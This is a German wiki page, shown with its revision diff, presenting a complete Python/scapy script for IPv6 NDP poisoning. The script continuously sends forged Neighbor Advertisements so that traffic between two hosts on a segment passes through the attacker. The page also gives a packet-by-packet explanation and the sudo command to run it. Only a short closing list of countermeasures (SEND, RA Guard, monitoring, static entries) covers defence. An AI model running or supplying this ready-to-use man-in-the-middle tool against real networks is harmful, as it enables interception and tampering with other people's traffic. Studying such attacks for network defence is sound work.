IPv6 NDP Spoofing mit scapy: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
(Die Seite wurde neu angelegt: „= NDP Poisoning mit Scapy = == Einleitung == NDP Poisoning (Neighbor Discovery Protocol Poisoning) ist eine Angriffstechnik in IPv6-Netzwerken, die dem ARP Po…“)
 
 
Zeile 2: Zeile 2:
  
 
== Einleitung ==
 
== Einleitung ==
NDP Poisoning (Neighbor Discovery Protocol Poisoning) ist eine Angriffstechnik in IPv6-Netzwerken, die dem ARP Poisoning in IPv4 entspricht.
+
NDP Poisoning (Neighbor Discovery Protocol Poisoning) ist eine Angriffstechnik in IPv6-Netzwerken, die dem ARP Poisoning in IPv4 entspricht. Das Skript ermöglicht Man-in-the-Middle-Angriffe zwischen zwei IPv6-Hosts im gleichen Netzwerksegment.
  
 
== Python Script ==
 
== Python Script ==
Zeile 36: Zeile 36:
 
</pre>
 
</pre>
  
== Erklärung ==
+
== Detaillierte Erklärung ==
Das Script sendet gefälschte NDP Neighbor Advertisement Pakete, um die MAC-Adressen der Ziel-Hosts zu vergiften.
+
 
 +
=== Funktionsweise ===
 +
Das Skript sendet kontinuierlich gefälschte NDP (Neighbor Discovery Protocol) Neighbor Advertisement Pakete:
 +
* Es sagt Host1, dass die MAC-Adresse von Host2 der eigenen MAC-Adresse entspricht
 +
* Es sagt Host2, dass die MAC-Adresse von Host1 der eigenen MAC-Adresse entspricht
 +
* Dadurch wird der gesamte Verkehr zwischen Host1 und Host2 über den Angreifer umgeleitet
 +
 
 +
=== Code-Analyse ===
 +
'''Importe:'''
 +
* Scapy: Framework zur Paketmanipulation
 +
* ICMPv6ND_NA: NDP Neighbor Advertisement
 +
* ICMPv6NDOptDstLLAddr: Option für Link-Layer-Adresse
 +
 
 +
'''Paketaufbau:'''
 +
* Ethernet-Layer: Broadcast an alle Hosts im Netzwerk
 +
* IPv6-Layer: Gefälschte Quell-IP (spoof_ip) an Multicast-Adresse ff02::1
 +
* ICMPv6ND_NA: Neighbor Advertisement mit Ziel-IP und R-Flag=0 (kein Router)
 +
* ICMPv6NDOptDstLLAddr: Enthält die eigene MAC-Adresse als gefälschte Ziel-MAC
 +
 
 +
=== Voraussetzungen ===
 +
* Python 3 und Scapy müssen installiert sein
 +
* Root-Rechte für RAW Socket Zugriff erforderlich
 +
* Beide Ziel-Hosts müssen im selben IPv6-Subnetz erreichbar sein
 +
 
 +
=== Ausführung ===
 +
<pre>
 +
sudo python3 ndp_poison.py
 +
</pre>
 +
 
 +
=== Gegenmaßnahmen ===
 +
* Verwendung von SEND (Secure Neighbor Discovery)
 +
* NDP Monitoring Tools
 +
* IPv6 RA Guard
 +
* Statische NDP Einträge

Aktuelle Version vom 28. Oktober 2025, 17:47 Uhr

NDP Poisoning mit Scapy

Einleitung

NDP Poisoning (Neighbor Discovery Protocol Poisoning) ist eine Angriffstechnik in IPv6-Netzwerken, die dem ARP Poisoning in IPv4 entspricht. Das Skript ermöglicht Man-in-the-Middle-Angriffe zwischen zwei IPv6-Hosts im gleichen Netzwerksegment.

Python Script

#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.inet6 import ICMPv6ND_NA, ICMPv6NDOptDstLLAddr
import time

interface = "eth0"
host1 = "2003:a:32a:1799::5:1"
host2 = "2003:a:32a:1799::5:2"
my_mac = get_if_hwaddr(interface)

def ndp_spoof(target_ip, spoof_ip, iface):
    # Sende eine Neighbor Advertisement, die behauptet, dass spoof_ip bei my_mac ist
    pkt = Ether(src=my_mac, dst="ff:ff:ff:ff:ff:ff") / \
          IPv6(src=spoof_ip, dst="ff02::1") / \
          ICMPv6ND_NA(tgt=spoof_ip, R=0) / \
          ICMPv6NDOptDstLLAddr(lladdr=my_mac)
    sendp(pkt, iface=iface, verbose=0)

print("Starting NDP spoofing... Press Ctrl+C to stop.")
try:
    while True:
        # Vergifte Host1: Sage, dass Host2 bei uns ist
        ndp_spoof(host1, host2, interface)
        # Vergifte Host2: Sage, dass Host1 bei uns ist
        ndp_spoof(host2, host1, interface)
        time.sleep(2)
except KeyboardInterrupt:
    print("\nStopping NDP spoofing.")

Detaillierte Erklärung

Funktionsweise

Das Skript sendet kontinuierlich gefälschte NDP (Neighbor Discovery Protocol) Neighbor Advertisement Pakete:

  • Es sagt Host1, dass die MAC-Adresse von Host2 der eigenen MAC-Adresse entspricht
  • Es sagt Host2, dass die MAC-Adresse von Host1 der eigenen MAC-Adresse entspricht
  • Dadurch wird der gesamte Verkehr zwischen Host1 und Host2 über den Angreifer umgeleitet

Code-Analyse

Importe:

  • Scapy: Framework zur Paketmanipulation
  • ICMPv6ND_NA: NDP Neighbor Advertisement
  • ICMPv6NDOptDstLLAddr: Option für Link-Layer-Adresse

Paketaufbau:

  • Ethernet-Layer: Broadcast an alle Hosts im Netzwerk
  • IPv6-Layer: Gefälschte Quell-IP (spoof_ip) an Multicast-Adresse ff02::1
  • ICMPv6ND_NA: Neighbor Advertisement mit Ziel-IP und R-Flag=0 (kein Router)
  • ICMPv6NDOptDstLLAddr: Enthält die eigene MAC-Adresse als gefälschte Ziel-MAC

Voraussetzungen

  • Python 3 und Scapy müssen installiert sein
  • Root-Rechte für RAW Socket Zugriff erforderlich
  • Beide Ziel-Hosts müssen im selben IPv6-Subnetz erreichbar sein

Ausführung

sudo python3 ndp_poison.py

Gegenmaßnahmen

  • Verwendung von SEND (Secure Neighbor Discovery)
  • NDP Monitoring Tools
  • IPv6 RA Guard
  • Statische NDP Einträge